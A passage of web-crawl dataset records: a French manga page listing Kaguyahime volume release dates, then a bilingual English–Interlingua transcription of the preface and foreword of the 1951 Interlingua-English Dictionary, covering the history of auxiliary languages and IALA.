0.0115354610607028}","num_words":204,"character_repetition_ratio":0.219,"word_repetition_ratio":0.262,"special_characters_ratio":0.261,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.716,"perplexity_score":1934.8,"cluster_detection":-1} +{"text":"|sorti le 19\/04\/94||sorti le 19\/07\/94||sorti le 15\/12\/94||sorti le 19\/04\/95||sorti le 05\/09\/95|\n|sorti le 08\/01\/96||sorti le 05\/06\/96||sorti le 05\/09\/96||sorti le 02\/05\/97||sorti le 05\/09\/97|\n|sorti le 05\/02\/98||sorti le 04\/09\/98||sorti le 05\/02\/99||sorti le 05\/10\/99||sorti le 05\/06\/00|\n|sorti le 05\/09\/00||sorti le 05\/03\/01||sorti le 05\/09\/01||sorti le 05\/03\/02||sorti le 05\/10\/02|\n|sorti le 05\/04\/03||sorti le 05\/09\/03||sorti le 05\/02\/04||sorti le 05\/06\/04||sorti le 05\/11\/04|\n|sorti le 05\/01\/05||sorti le 05\/03\/05|\n|Couvertures japonaises des 27 volumes parus chez Hakusensha\n\n\n(série terminée)","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.mangaverse.net\/html\/kaguyahimecouvjap.htm?PHPSESSID=981d3c8703feb38317332e62a1e88d78","date":"2021-10-26T14:20:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587908.20\/warc\/CC-MAIN-20211026134839-20211026164839-00029.warc.gz","language":"ina","language_score":0.4040127099,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4040127098560333, \"fra_Latn_score\": 0.2799012064933777, \"ron_Latn_score\": 0.15448084473609924, \"crs_Latn_score\": 0.025164198130369186, \"und_Grek_score\": 0.016349174082279205, \"vec_Latn_score\": 0.013824723660945892, \"als_Latn_score\": 0.011367494240403175}","num_words":160,"character_repetition_ratio":0.306,"word_repetition_ratio":0.841,"special_characters_ratio":0.579,"stopwords_ratio":0.013,"flagged_words_ratio":0.0,"lang_id_score":0.408,"perplexity_score":3335.5,"cluster_detection":-1} +{"text":"INTERLINGUA\nTheory and Principles\nPreface of the Interlingua-English Dictionary (IED)\nINTERLINGUA\nTheoria e Principios\nPrefacio del Interlingua-English Dictionary (IED)\nVide etiam\nAlexander Gode - Hugh E. Blair: PRINCIPIOS GENERAL DEL GRAMMATICA\nAlicun portugeses e brasilianos ha se stupefacite, proque in interlingua le linguas portugese e espaniol\nha essite tractate combinate como un unitate lingual. Ecce le explanation de patres del interlingua:\nMETHOD AND TECHNIQUESEligibility of International Words. - Words are eligible in the international vocabulary if they have currency throughout the Anglo-Romance sphere of languages. The language units to be examined individually are Italian, French, English, and Spanish and Portuguese combined. The combination of the two Iberian languages is indicated not because their separate importance could be doubted but because their significance in the pattern of the Romance languages is similar. The absence of a word from the vocabulary of one of the units listed is often a coincidence which cannot suffice to bar it from the international vocabulary. German or Russian may take the place of any of the Anglo-Romance source units. In sum, a preliminary formulation of the criterion of internationality runs as follows: A word is to be accepted as international when its presence is attested - in corresponding forms and with corresponding meanings - in at least three of the language units, Italian, Spanish and\/or Portuguese, French and English, with German and Russian as possible substitutes. For a version with Spanish and Portuguese presented in red color METHODO AND TECHNICASEligibilitate de parolas international. - Parolas son eligibile in le vocabulario international si illos es currente in tote le sphera anglo-romance de linguas. Le unitates lingual que sia individualmente scrutinate es italiano, francese, anglese e, espaniol e portugese combinate. Le combination del duo linguas iberic es indicate non proque lor importantia separate esserea dubitabile sed proque lor significantia in le assemblea del linguas romance es similar. Le absentia de un parola in le vocabulario de un del unitates listate es multe vices un coincidentia que non pote justificar le retention de illo del vocabulario international. Germano e russo pote esser reimplaciantes de alicun del fontes anglo-romance. In summa, un formulation preliminar del criterio de internationalitate se dice: Un parola debe esser acceptate como international quando su presentia es certificate - in formas e significationes correspondente - in al minus tres del sequente unitates lingual: italian, espaniol e\/o portugese, francese e anglese con germano e russo como substitutos possibile. Pro un version con espaniol e portugese presentate in color rubie\nInterlingua-English\na dictionary of the international language prepared by the research staff of the\nInternational Auxiliary Language Association\nunder the direction of Alexander Gode, Ph.D.\nCopyright, 1951, by\nInternational Auxiliary Language Association, Inc.\nContents\nFOREWORD\nInterlinguistics.\nIALA - International Auxiliary Language Association.\nExploratory Work\nLinguistic Research\nWork on the Dictionary\nINTRODUCTION\nTheory and Principles\nInternational Languages\nInternational Words\nVariants and Their Prototypes\nSource or Control Languages\nSummary\nMethod and Techniques\nEligibility of International Words\nForm of International Words\nTerminations\nTermination of infinitives\nTermination of adjectives\nForms of International Words in Derivational\nSeries\nWord Families\nNon-Latin Examples\nSummary of Definitions\nMeaning of International Words\nThe International Vocabulary\nActive Word Building\nList of Active Affixes\nFree Formation\nAcknowledgements\nInterlingua-Anglese\nun dictionario del lingua international preparate per le Section de Recerca del\nInternational Auxiliary Language Association\nsub le direction de Alexander Gode, Ph.D.\nCopyright, 1951, per\nInternational Auxiliary Language Association, Inc.\nContentos\nPROLOGO\nInterlinguistica\nIALA - International Auxiliary Language Association.\nLabor exploratori\nRecerca linguistic\nLabor con le Dictionario\nINTRODUCTION\nTheoria e Principios\nLinguas international\nParolas international\nVariantes e lor prototypos\nLinguas de fonte o de controlo\nSummario\nMethodo e technica\nEligibilitate de parolas international\nForma de parolas international\nTerminationes\nTermination de infinitivos\nTermination de adjectivos\nFormas de parolas international in series\nderivational\nFamilias de parolas\nExemplos non-latin\nSummario de definitiones\nSignification de parolas international\nLe vocabulario international\nFormation active de parolas\nLista de affixos active\nFormation libere\nRecognoscentias\nPreface to the Second Edition\nThis dictionary was first published under the auspices and the guidance of The International Auxiliary Language Association in 1951. In 1971, twenty years later, it is being reprinted.\nObviously this volume cannot be classed as a best seller even by the conservative standards of the dictionary market, and the question \"Why reprint the book?\" needs to be answered as does the question \"What happened to the original printing of five thousand copies?\"\nTo answer the second question first: A few of these books are gathering dust on the shelves of enthusiasts who transiently embraced Interlingua as a world salvation; but the great majority of copies are now scattered over the face of the globe, in the libraries of individuals and institutions who are aware of and interested in the linguistic similarities within the structure of the Romance languages, which similarities are, after all, the substance and the backbone of this volume.\nAs to the first question: The dictionary is being reprinted because there is a demand for it. This indicates that in two decades Interlingua has not simply outlived its usefulness and is now hanging around in odd corners as an historical atavism but that it has established itself in Europe and in America, performing its communications function in such varied fields as molecular spectroscopy and demography.\nTwenty years ago the Interlingua-English Dictionary was the product of a linguistic research venture; today it is an established tool of international communication.\nA. GODE\nEXECUTIVE SECRETARY\nINTERLINGUA INSTITUTE\nPrefacio al secunde edition\nIste dictionario era initialmente publicate sub le auspicios e direction del International Auxiliary Language Association in 1951. In 1971, post vinti annos, illo es reimpresse.\nObviemente iste libro non pote esser classificate como un \"best seller\" mesmo per le standards conservative del mercato de dictionarios, e le question \"Proque reimprimer le libro?\" ha necessitate de un responsa, mesmo como le question \"Que occurreva al impression original del cinque milles copias?\"\nLe responsa al secunde question es: Alicunos de iste libros collige pulvere al porta-libros de enthusiastas qui transientemente imbraciava Interlingua como un salvation mundial; sed le grande majoritate de exemplares son nunc disperse sur le facie del globo, in bibliothecas de individuos e institutiones que son conscie de e interessate in le similaritates linguistic intra le structura del linguas romance, qual similaritates son, post toto, le substantia e le spina de iste libro.\nAl prime question: Le dictionario ha essite reimpresse proque il ha demanda pro illo. Isto indica que in duo decennios Interlingua non ha simplemente exhauste su utilitate e es nunc circumerrante in locos extravagante como un atavismo historic sed que illo ha establite se in Europa e America, exequente su function de communicationes in tal campos varie como spectroscopia molecular e demographia.\nAnte vinti annos le Interlingua-English Dictionary era le producto de un aventura de recerca linguistic; hodie illo es un utensile establite in communication international.\nA. GODE\nSECRETARIO EXECUTIVE\nINSTITUTO DE INTERLINGUA\nAlice V. Morris (1874-1950)\nConscious of the function of\nscholarship in the establishment\nof a common language for international communication,\nAlice V. Morris and Dave Hennen Morris\nundertook to provide the auxiliary-language movement\nwith a center of research,\na laboratory and a forum.\nThe International Auxiliary Language Association\nwas founded under their leadership.\nUnder their guidance\nits program of work was conceived and developed.\nFor twenty-five years\nMrs. Morris took part\nin every phase of the work of the Association.\nAt all times\nthat work derived the greatest benefit\nfrom her husband's wisdom,\nfrom his experience in international affairs.\nMay this volume,\nas a foundation for future work\nby all intent upon the achievement\nof a world auxiliary language,\nbe their living memorial.\nDave Hennen Morris (1872-1944)\nConsciente del function de scientia\nin le establimento\nde un lingua commun pro communication international,\nAlice V. Morris e Dave Hennen Morris\ninterprendeva provider le movimento de lingua auxiliar\ncon un centro de recerca,\nun laboratorio e un foro.\nLe International Auxiliary Language Association\nera fundate sub lor direction.\nSub lor conducta ¨\nsu programma de labor era concepte e developpate.\nDurante vinti-cinque annos\nsra Morris participava\nin omne phase del labor del Association.\nTote le tempore\nille labor derivava le optime beneficio\ndel sagessa del sposo sue,\nex su experientia in affaires international.\nSia iste libro\nlor memorial vivente\nper totes intente al complimento\nde un lingua auxiliar mundial.\nForeword\nThe Interlingua-English Dictionary is the latest product of the long-term research program of the International Auxiliary Language Association.\nThe purpose of the Dictionary is to furnish a scientifically sound vocabulary for the auxiliary language which is needed in all fields of international communication. The objective methods used in its compilation should make it a reference work of value in the general field of comparative linguistics. Its primary purpose, however, is to meet the needs of all workers in the special field of interlinguistics.\nInterlinguistics. - The quest for a common international language can be traced back to the beginnings of modern times. The idea of obtaining such a language from the elements common to national tongues appeared in the late eighteenth and early nineteenth Centuries. From these beginnings has come the gradual development of that branch of comparative linguistics which has been given the name of interlinguistics.\nMen of many nationalities have taken part in its\ncoming of age.\nThe first to work out a complete auxiliary-language system based on the common elements in national languages was a Spaniard, Pirro, whose Universalglot was published in\n1868.\nVolapük, the work of a German priest, Johann Martin Schleyer, which appeared in 1880, used the idea in a limited way, drawing heavily on English. This system had a decade of extraordinary popularity which justified the establishment of a Volapük Academy.\n&nsbp;\nEsperanto, also the creation of one man, Dr. Ludwig Lazarus Zamenhof of Poland, was published in 1887 and has achieved wide renown. In 1894, Dr. Zamenhof himself proposed a reformed Esperanto in response to demands among his followers for a simplified grammar and a more thoroughly international vocabulary. His proposals were not adopted.\nIn 1907, three Frenchmen, Louis Leau, Louis Couturat, and Louis de Beaufront, were leaders of a delegation which again proposed certain reforms in Esperanto. The outcome was a schism in the Esperanto movement with the promulgation of another system called Ido.\nThe original system of Dr. Zamenhof remained the foundation of all official Esperanto publications and organizations, of which there are many throughout the world. Ido has also successfully been used in many publications.\nEsperanto II, a system proposed by René de Saussure of Switzerland, which aimed to remove certain features of Esperanto while retaining its fundamental structure, has never been used to any great extent.\nMeanwhile an Austrian, Julius Lott, and a Chilean, Alberto Liptay, had further clarified the idea that \"the international language does not need to be invented. It exists. One only needs to collect all its words and set them in order.\" When Waldemar Rosenberger, a Russian, assumed the leadership of the declining Volapük Academy, he made of it an energetic center of experimentation with Liptay's principle. The results, made public in 1902, became known as Idiom Neutral. A contemporary of Rosenberger, basing his work on the same principles, was Dr. H. Molenaar of Germany. He has continued to advocate his system under the name of Unial.\nIn 1910, the Idiom Neutral (formerly Volapük) Academy, under the leadership of an Italian mathematician, Giuseppe Peano, became the Academia Pro Interlingua, a society for research in interlinguistics. Most of its publications were in the form of Interlingua known as Latino sine Flexione, but its members were free to experiment with, and advocate, other proposals. One member, Aldo Lavagnini, an Italian living in Mexico, promoted his own system under the name of Mondi Lingua. Mrs. Alice V. Morris, representing the International Auxiliary Language Association, became a member of the Academia. Its headquarters were in Turin, Italy. After the second World War they were reorganized in The Netherlands.\nOccidental, subsequently also called Interlingue, was published by an Estonian, Edgar de Wahl, in 1925 (1922! -- Allan Kiviaho). De Wahl and his group devoted much attention to the problem of combining great naturalness with great regularity in the derivational patterns of their language. It found many advocates throughout Europe. Various types of periodicals have been regularly issued in that language. The headquarters of the Interlingue-Union are in Switzerland.\nIn 1925, Joseph Weisbart, also a German, began to promote his Medial. Otto Jespersen, the internationally known linguist of Denmark, produced a system of his own called Novial.\nThroughout the past quarter of a century experimentation in interlinguistics has been on the increase. Among the systems recently published are Interglossa by Lancelot Hogben of Great Britain, Internasional by Paul Mitrovitch of Yugoslavia, Mondial by Helge Heimer of Sweden, Neolatino by André Schild of Switzerland, International by Campos Lima of Portugal, and Ling by Anders Olsen of Sweden. Many other one-man products are in manuscript form.\nControversial questions pertaining to vocabulary and grammar have caused so great a variety of auxiliary-language systems. Their multiplicity has fragmented the movement for that one world language to which developments in modern communications point. The positive aspect of the situation must be stressed, however. Underlying all controversial details, the numerous systems have a great deal in common. They may be regarded as variants of the one essential international language which is latent in the living languages. The most urgent practical problem in the field of interlinguistics is to build up a basic stock of language material which all interlinguists can accept as authentic. The Interlingua-English Dictionary offers such authentic material.\nInternational Auxiliary Language Association. - The International Auxiliary Language Association, generally known as IALA, is an organization which grew out of investigations of the auxiliary language problem undertaken after the first World War by committees of the International Research Council, by the British, French, Italian, and American Associations for the Advancement of Science, the American Council on Education, the American Council of Learned Societies, and other groups of specialists.\nDr. Frederick Gardner Cottrell of the International Research Council interested Mr. and Mrs. Dave Hennen Morris of New York in the idea of creating a permanent body which would continue the studies begun by the various committees. They had both been long active in organizations concerned with the betterment of conditions of human society, and they saw at once the significance of an international language as one of the means for developing the international community which seemed at the time a possible hope. They brought together in 1923 men and women of wide experience in international affairs, communications, and linguistic scholarship to discuss what might be done to focus attention upon the already well-established movement for an international language.\nPrologo\nLe Interlingua-English Dictionary es le ultime producto del longe programma de recerca del International Auxiliary Language Association.\nLe intention del Dictionario es fornir un vocabulario scientificamente solide pro le lingua auxiliar que es besoniate in omne brancas de communication international. Le methodos objective usate in su compilation deberea facer lo un obra referential de valor in le campo general de linguistica comparative. Su scopo primari, totevia, es satisfacer le necessitates de omne personas qui labora in le campo special de interlinguistica.\nInterlinguistica. - Le recerca pro un commun lingua international pote esser retrotraciate al initio del era moderne. Le idea de obtenir tal lingua ex le elementos commun a linguas national appareva al fin de deceoctave e al initio del decenone seculos. Ab iste initios ha venite le developpamento gradual de iste branca de linguistica comparative que es nominate interlinguistica.\nPersonas ex multe nationalitates ha participate al developpamento de illo.\nLe prime persona qui elaborava un systema complete de lingua auxiliar que se basava super elementos commun in linguas national era un espaniol, Pirro, cuje Universalglot era publicate in 1868.\nVolapük, le obra de un clerico german, Johann Martin Schleyer, appareva in 1880. Illo usava le idea in un modo limitate e basate pesantemente super anglese. Iste systema habeva durante un decennio popularitate extraordinari lo que justificava le establimento de un Academia de Volapük.\nEsperanto, etiam un creation de un singule homine, dr Ludwig Lazarus Zamenhof ex Polonia, era publicate in 1887 e attingeva renomine large. In 1894 dr Zamenhof ipse proponeva un Esperanto reformate in responsa a demandas inter su discipulos pro un grammatica simplificate e un vocabulario plus international. Su propositiones non era adoptate.\nIn 1907 tres franceses, Louis Leau, Louis Couturat, e Louis de Beaufront, era capites de un delegation que de novo proponeva certe reformas in Esperanto. Le resultato era un schisma in le movimento de Esperanto e le promulgation de un altere systema nominate Ido.\nLe systema original de dr Zamenhof remaneva le fundo de omne publicationes e organisationes de Esperanto, del quales il ha multes in omne partes del mundo. Ido ha etiam essite usate con successo in multe publicationes.\nEsperanto II, un systema proponite per René de Saussure ex Helvetia, que aspirava a remover certe aspectos de Esperanto ma reteniente lor structura fundamental, ha nunquam essite usate extensivemente.\nIntertanto un austriano, Julius Lott e un chileano Alberto Liptay, habeva clarificate ulteriormente le idea que \"un lingua international non debe esser inventate. Illo existe. On debe solmente colliger tote su parolas e poner los in ordine\". Quando Waldemar Rosenberger, un russo, assumeva le direction del declinante Academia de Volapük, ille lo converteva in un centro energic de experimentation del principio de Liptay. Le resultatos, publicate in 1902, deveniva cognite como Idiom Neutral. Un contemporaneo de Rosenberg, basate su obra super mesme principios, era dr H. Molenaar ex Germania. Ille ha continuate a advocar su systema sub le nomine de Unial.\nIn 1910, le Academia de Idiom Neutral (previemente Volapük), sub direction de un mathematico italian, Giuseppe Peano, deveniva Academia Pro Interlingua, un societate de recerca in interlinguistica. Le major parte de su publicationes era in le forma de interlingua cognite como Latino sine Flexione, sed le membros de illo era libere a experimentar e advocar altere propositiones. Un membro, Aldo Lavagnini, un italiano qui viveva in Mexico, promoveva su proprie systema sub le nomine de Mondi Lingua. Sra Alice V. Morris, representante le International Auxiliary Language Association, deveniva un membro del Academia. Su quartiero general era in Torino, Italia. Post le secunde guerra mundial illo era reorganisate in le Paises Basse.\nOccidental, subsequentemente nominate Interlingue, era publicate per un estoniano, Edgar de Wahl, in 1925 (1922! -- Allan Kiviaho). De Wahl e su gruppo devotava multe attention al problema de combinar grande naturalitate con grande regularitate in le patronos de lor lingua. Illo trovava multe advocatos in omne partes de Europa. Varie typos de periodicos ha essite regularmente publicate in ille lingua. Le quartiero general del Interlingue-Union es in Suissa.\nIn 1925 Joseph Weisbart, etiam un germano, comenciava promover su Medial. Otto Jespersen, un linguista del fame international ex Danmark, produceva su proprie systema nominate Novial.\nDurante le ultime quarto de un seculo experimentation in interlinguistica se ha intensificate. Inter le systemas recentemente publicate son Interglossa per Lancelot Hogben ex Grande Britannia, Internasional per Paul Mitrovitch ex Yugoslavia, Mondial per Helge Heimer ex Svedia, Neolatino per André Schild ex Helvetia, Internacional per Campos Lima ex Portugal e Ling per Anders Olsen ex Svedia. Multe altere productos create per un singule homine son in forma de manuscripto.\nQuestiones controversial pertinente a vocabulario e grammatica ha causate un si grande varietate de systemas de linguas auxiliar. Lor multiplicitate ha fragmentate le movimento pro iste un unic lingua mundial al qual se dirige le developpamentos in le communicationes moderne. Le aspecto positive del situation debe esser accentuate, totevia. Subjacente a omne detalios controversial, le systemas numerose ha multo in commun. On pote reguardar los como variantes de un essential lingua international que is latente in le linguas vivente. Le plus urgente problema practic in le campo de interlinguistica es edificar un stock basic de material linguistic que omne interlinguistas pote acceptar como authentic. Le Interlingua-English Dictionary offere tal material authentic.\nInternational Auxiliary Language Association. - Le International Auxiliary Language Association, generalmente cognite como IALA, es un organisation que cresceva ex investigationes del problema de lingua auxiliar cargate se post le prime guerra mundial per committees del International Research Council, per le associationes britannic, francese, italian e statounitese pro le Avantiamento de Scientia, le American Council of Learned Societies e altere gruppos de\nspecialistas.\nDr Frederick Gardner Cottrell del International Research Council ha interessate sr e sra Dave Hennen Morris ex New York in le idea de crear un corpore permanente que continuara le studios que varie committees habeva comenciate. Ambes habeva desde longe essite active in organisationes concernite con le melioramento de conditiones de societate human, e illes videva immediatemente le significantia de un lingua international como un del medios pro developpar le communitate international que pareva esser un sperantia possibile in iste tempore. Illes reuniva in 1923 viros e feminas de experientia large in affaires international, communicationes e linguistica pro discuter lo que on poterea facer pro focalisar le attention super le movimento jam ben establite pro un lingua international.\nThe group included - Le gruppo includeva\nDecano Earle B. Babcock, New York University !Lege plus!\nGeneral John T. Carty, vice-presidente, American Telephone & Telegraph Company\nSra James S. Cushman, Committee mundial, Association Christian de Feminas Juvene\nDr Stephen Duggan, Director, Institute of International Education !Lege plus!\nHarry E. Edmonds, Fundator, International House, New York !Lege plus!\nDr John H. Finley, Redactor, New York Times !Lege plus!\nDr Alfred N. Goldsmith, Radio Corporation of America !Lege plus!\nDr Arthur Hamerschlag, Presidente, Research Corporation !Lege plus!\nSr e sra John H. Hammond\nGeneral James G. Harbord, Presidente, Radio Corporation of America !Lege plus!\nClarence Howard, Presidente, Camera International de Commercio\nDr Frederick P. Keppel, Presidente, Carnegie Corporation !Lege plus!\nSra James Lees Laidlaw, Consilio de Feminas pro le Liga de Nationes\nDr Sidney E. Mezes, Presidente, College of the City of New York\nDr Arthur E. Morgan, Presidente, Antioch College\nDr Herbert N. Stanton, Columbia University\nSra William Jay Schieffelin\nStta Clara B. Spence, Principal, Miss Spence's School\nSra Charles L. Tiffany, New York League of Women Voters.\nThe deliberations of these men and women bore fruit. Under the leadership of Mr. and Mrs. Morris the International Auxiliary Language Association was founded and incorporated in 1924 as a non-profit organization \"to promote widespread study, discussion, and publicity of all questions involved in the establishment of an auxiliary language, together with research and experiment that may hasten such establishment in an intelligent manner and on stable foundations.\"\nDean Babcock became the first President. In 1936 he was succeeded by Dr. John H. Finley. Dr. Stephen Duggan served as President of IALA from 1940 to the time of his death in 1950.\nMrs. Morris became Honorary Secretary of the Association and later also Chairman of the Research Division, in which roles she carried the task of developing the many-sided research and promotional activities of IALA.\nMr. Morris was IALA's Treasurer from the founding of the Association until his death in 1944. During the years of his ambassadorship to Belgium (1933-1937) he and his wife were successful in bringing European scholars as well as leading men of practical affairs to take a serious interest in IALA's work. Their son, Mr. Lawrence Morris, succeeded him as\nTreasurer.\nExploratory Work. - The first decade of IALA's research program was of an exploratory nature. Contacts were made with leaders in the various groups supporting different auxiliary-language systems. In order to survey the extent of the successful use of auxiliary languages a special library was collected. It includes books, pamphlets, and periodicals published in different interlinguas, as well as dictionaries and textbooks. A bibliography listing all the material available in European libraries on the subject of international languages was prepared in collaboration with the Universal Esperanto Association.\nThe anthropological approach to the auxiliary-language problem was directed by Professor Edward Sapir of Yale University. In a series of studies called Foundations of Language, the speech habits typical of different languages were analyzed in connection with specific aspects of grammar. Some of these studies were published by the Linguistic Society of America. Mrs. Morris was the Editor in collaboration with Dr. Sapir, Professor William E. Collinson of the University of Liverpool, and Dr. Morris Swadesh.\nAs long ago as 1930 IALA planned a meeting in Europe at which for the first time linguists and experts in auxiliary languages sat down together for a period of two weeks to exchange ideas. Convened by Professor Otto Jespersen, the conference gave its approval to the research program proposed by IALA. Since that time four official congresses of linguists have had reports on IALA's work set before them.\nLinguistic Research. - Five international language systems, Esperanto, Ido, Esperanto II, Occidental, and Latino sine Flexione, were selected for analytical study by IALA because they all had official organizations promoting them and had been used with success in publications and in spoken communication. Parallel studies of these languages with comparative studies of national languages were carried on by IALA's Research Staff under the direction of scholars in American and European universities.\nAn intensive study of language difficulties in international conferences was made by Professor Herbert N. Shenton, then of Syracuse University and Executive Secretary of IALA. The extent to which auxiliary languages have been tried out in international conferences was surveyed. The results of this research project were published under the title of Cosmopolitan Conversation by Columbia University Press in 1933.\nVarious kinds of educational research projects were pursued centering upon the basic idea that an interlingua can be used in a simplified course in comparative linguistics to initiate students into the study of foreign languages. A textbook for a General Language Course was prepared by Helen S. Eaton, IALA. It was used in experimental courses in schools cooperating with IALA's educational program.\nDr. Edward L. Thorndike on an initial grant from Carnegie Corporation conducted a series of experiments in the relative ease of learning constructed and natural languages. His findings were published under the title Language Learning by the Bureau of Publications of Teachers College of Columbia University in 1933.\nDuring the second World War, when the necessity for learning foreign languages was emphasized by world events, a pictorial method for the beginner was embodied in a textbook series by two members of IALA's Research Staff, E. Clark Stillman and Alexander Gode. The series included the titles Spanish at Sight, French at Sight, and Portuguese at Sight.\nA new contribution to the field of word-frequency studies was made in the form of the Semantic Frequency List by Helen S. Eaton, Linguistic Research Associate of IALA's staff. This work was issued by the Committee on Modern Languages of the American Council on Education and published by the University of Chicago Press in 1940.\nWork on the Dictionary. - Preparatory work on the Dictionary included consultation with linguists in the United States and Europe and with experts in the various auxiliary-language systems. It was carried on by means of conferences, correspondence, and questionnaires.\nAt the University of Liverpool from 1936 to 1939 various methods of compiling international word material were tested under the direction of Professor William E. Collinson. A staff of persons of different language backgrounds was assembled. Mr. E. Clark Stillman succeeded Dr. Collinson as its Director. The outbreak of war forced the transfer of the work to New York, where Mr. Stillman assembled a new international staff and continued to direct it until he joined the State Department in 1942. During the war years, Dr. Alexander Gode kept the research program going by assuming the duties of Acting Director in addition to his regular work as Editor of Reference Books with the T. Y. Crowell Company. In 1946 IALA brought Dr. André Martinet from the Sorbonne to New York and entrusted him with the direction of its interlinguistic research. Upon his joining the faculty of Columbia University in 1948, Dr. Gode assumed full direction of the work. In its final form the Dictionary is his conception and his responsibility. It is the fruit of his and of his staff's exacting scholarship and patient labor.\nACKNOWLEDGEMENTS\nThe Directors of IALA were in 1951: W. Hallam Tuck, Vice-President, Belgian American Educational Foundation; John V. Irwin; Lawrence Morris; LeRoy E. Bowman; Ben M. Cherrington, University of Denver; Harry Edmonds, Founder, International House, New York; Alfred N. Goldsmith, Past President, Society of Motion Picture Engineers; Henry Goddard Leach, President, American Scandinavian Foundation; Frederick H. Osborn; Mrs. Harold Peabody; and Thomas J. Watson, President, International Business Machines Corporation. In their names I acknowledge the many kinds of cooperation IALA has received in its researches.\nFinancial support of IALA's work has come from many sources. Carnegie Corporation gave a grant to Teachers College of Columbia University for preliminary research in language learning. Rockefeller Foundation provided a grant for lexicological work done at the University of Liverpool. Research Corporation made liberal undesignated annual grants over a period of years. To all of these foundations IALA expresses gratitude not only for the funds given but for the recognition of the importance of the work in the whole field of communications.\nIALA's faithful membership has helped to underwrite the task of producing the Dictionary and has followed every stage of its work.\nThe most substantial amount of financial support has come from Mr. and Mrs. Morris and their children. They never failed to comprehend the cost of a research program like IALA's, to respect the points of view of the scholars they enlisted in the work, and to meet the needs of IALA's budget. Year after year they gave money but they also gave themselves unselfishly and enthusiastically to the practical details which might help to make their ideal aim of an international language a reality.\nA special debt of thanks is due to IALA's Budget Committee of which James G. Harbord was Chairman and S. Sloan Colt and Samuel McRoberts were members.\nIntellectual support of IALA's program has come from\nmen and women in all parts of the world. Specialists in communication, international relations, education, and many of the sciences have participated in discussions of IALA's program.\nOffers of collaboration have been received from many authors of auxiliary-language systems, some of whom have placed their own manuscripts at the disposal of IALA. Open-minded interest has been demonstrated by many supporters of different auxiliary languages, while linguists have given the work their serious attention. Business men have shown genuine interest, among them Rotary International, which appointed a committee to follow IALA's activities. The United Nations Educational, Scientific and Cultural Organization (UNESCO) has established contact with IALA.\nLe deliberationes de iste viros e feminas fructava. Sub le direction de sr e sra Morris le International Auxiliary Language Association era fundate e incorporate in 1924 como un organisation sin scopo lucrative \"pro promover studio extensive, discussion e publicitate de omne questiones involvite in le establimento de un lingua auxiliar insimul con recerca e experimento que pote hastar iste establimento in un maniera intelligente e super fundationes stabile.\nDecano Babcock deveniva le prime presidente. In 1936 ille era succedite per dr John H. Finley. Dr Stephen Duggan serviva como presidente de IALA desde 1940 usque a su morte in 1950.\nSra Morris deveniva secretario honorari del Association e plus tarde etiam presidente del Division de Recerca, in qual rolos illa habeva le carga de developpar le activitates multilateral de recerca e promotion de IALA.\nSr Morris era le tresorero de IALA desde le fundation del Association usque a su morte in 1944. Durante su annos como ambassador in Belgica (1933-1937) ille e su sposa era successose in stimular eruditos europee assi como homines eminente de affaires practic a prender interesse seriose in le obra de IALA. Lor filio, sr Lawrence Morris, le succedeva como tresorero.\nObra exploratori. - Le prime decennio del programma de recerca era de natura exploratori. On faceva contactos con capites in le varie gruppos que supportava varie systemas de linguas auxiliar. Pro supervider le extension del uso successose de linguas auxiliar un bibliotheca special era collecte. Illo includeva libros, pamphletos e periodicos publicate in interlinguas differente, assi como dictionarios e manuales. Un bibliographia listante tote le material obtenibile in bibliothecas europee super le subjecto de linguas international era preparate in collaboration con le Universal Esperanto Association.\nLe approche anthropologic al problema de linguas auxiliar era sub le direction de professor Edward Sapir ex Yale University. In un serie de studios nominate Fundamentos de lingua, le typic habitos de parlar de linguas differente era analysate in connexion con aspectos specific de grammatica. Alicunos de iste studios era publicate per le Linguistic Society of America. Sra Morris era le redactor in collaboration con dr Sapir, professor William E. Collinson del University of Liverpool, e dr Morris Swadesh.\nIn le anno 1930 IALA planava un reunion in Europa a qual pro le prime vice linguistas e expertos in linguas auxiliar habeva un session de duo septimanas pro cambiar ideas. Convocate per professor Otto Jespersen le conferentia dava su approbation al programma de recerca proponite per IALA. Desde ille tempore quatro congressos official de linguistas ha habite reportos de labor de IALA ponite ante illos.\nRecerca linguistic. - Cinque systemas de linguas international, Esperanto, Ido, Esperanto II, Occidental e Latino sine Flexione era selecte pro studio analytic per IALA proque illos omnes habeva organisationes official promovente illos e habeva essite usate con successo in publicationes e in communication oral. Studios parallel de iste linguas con studios comparative de linguas national era facte per le Division de Recerca de IALA sub le direction de eruditos in universitates statounitese e europee.\nUn studio intensive de difficultates in conferentias international era facte per professor Herbert N. Shenton, tunc del Syracuse University e secretario executive de IALA. On faceva un supervista del uso de linguas auxiliar in conferentias international. Le resultatos de iste projecto de recerca era publicate sub le titulo de Cosmopolitan Conversation per le Columbia University Press in 1933.\nVarie generes de projectos de recerca educational era prosequite que se centra al idea basic que un interlingua pote esser usate in cursos simplificate in linguistica comparative pro initiar studentes al studio de linguas estranier. Un manual pro un Curso General de Lingua era preparate per Helen S. Eaton, IALA. Illo era usate in cursos experimental in scholas que cooperava con le programma educational de IALA.\nDr Edward L. Thorndike, subsidiate per le Carnegie Corporation, conduceva un serie de experimentos re le facilitate relative a apprender linguas constructe e natural. Su conclusiones era publicate sub le titulo Language Learning (Apprender Linguas) per le Bureau of Publications of Teachers College of Columbia University in 1933.\nDurante le secunde guerra mundial, quando le necessitate de apprender linguas estranier era accentuate per le eventos mundial, un methodo pictorial pro comenciates era incorporate in un serie de manuales per duo membros del direction de recerca de IALA, E. Clark Stillman e Alexander Gode. Le serie includeva le titulos Spanish at Sight, French at Sight, and Portuguese at Sight.\nUn nove contribution al campo de studios de frequentia de parolas era facte in le forma del Semantic Frequency List per Helen S. Eaton, Associata de Recerca Linguistic de equipa de IALA. Iste obra era preparate per le Committee on Modern Languages of the American Council on Education e publicate per le University of Chicago Press in 1940.\nLabor con le Dictionario. - Labor preparatori del Dictionario includeva consultation con linguistas in le Statos Unite e Europa e con expertos in le varie systemas de lingua auxiliar. Illo era exequite per medio de conferentias, correspondentia e questionarios.\nAl Universitate de Liverpool desde 1936 usque a 1939 varie methodos de compilation de material de parolas international era testate sub le direction de professor William E. Collinson. Un equipa de personas con fundos differente de lingua era assemblate. Sr E. Clark Stillman succedeva a dr Collinson como su director. Le eruption del guerra rendeva necessari le transferimento del labores a New York, ubi sr Stillman assemblava un nove equipa international e continuava a diriger lo usque al momento quando ille entrava in le servicio del ministerio del exterior in 